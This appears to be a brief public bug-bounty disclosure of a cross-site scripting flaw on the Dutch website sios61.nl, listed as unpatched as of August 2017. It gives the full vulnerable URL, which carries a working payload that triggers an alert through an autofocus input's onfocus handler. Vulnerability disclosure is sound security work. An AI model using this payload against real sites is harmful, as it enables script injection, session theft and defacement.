sios61.nl XSS vulnerability

Vulnerable URL: http://www.sios61.nl/index.php?id=agenda=7=2017%3C!%27/!%22/!%27/%22/--!%3E%3CInput/Type=Text%20AutoFocus%20/;%20OnFocus=alert'OPENBUGBOUNTY'%20//%3E%3CSvg%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 02.08.2017 Vulnerability type:| XSS...